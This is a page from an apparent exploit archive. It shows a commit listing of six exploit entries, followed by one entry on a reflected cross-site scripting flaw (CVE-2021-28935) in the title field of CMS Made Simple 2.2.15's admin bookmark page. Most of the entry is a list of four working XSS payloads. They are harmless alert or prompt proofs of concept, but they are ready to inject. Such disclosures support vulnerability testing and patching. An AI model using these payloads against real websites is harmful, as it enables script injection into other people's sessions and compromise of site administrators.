acb55122f4
6 changes to exploits/shellcodes OpenSMTPD 6.6.2 - Remote Code Execution OpenSMTPD 6.6.1 - Remote Code Execution OTRS 5.0.x/6.0.x - Remote Command Execution OTRS 5.0.x/6.0.x - Remote Command Execution (1) RemoteClinic 2.0 - 'Multiple' Stored Cross-Site Scripting (XSS) CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS) OTRS 6.0.1 - Remote Command Execution (2)
22 lines
No EOL
825 B
Text
22 lines
No EOL
825 B
Text
# Exploit Title: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)
|
|
# Date: 2021/03/19
|
|
# Exploit Author: bt0
|
|
# Vendor Homepage: http://www.cmsmadesimple.org/
|
|
# Software Link: https://s3.amazonaws.com/cmsms/downloads/14832/cmsms-2.2.15-install.zip
|
|
# Version: 2.2.15
|
|
# CVE: CVE-2021-28935 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28935
|
|
|
|
-----------------------------------------------------------
|
|
|
|
If you log into Admin panel and open My Preferences you could be able to exploit XSS in title field
|
|
|
|
Reflected XSS in /admin/addbookmark.php
|
|
|
|
Some payloads that works:
|
|
|
|
"><script>prompt(1)</script><"
|
|
"><script>alert(1)</script><"
|
|
63311';alert(1)//812
|
|
//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
|
|
|
|
------------------------------------------------------------ |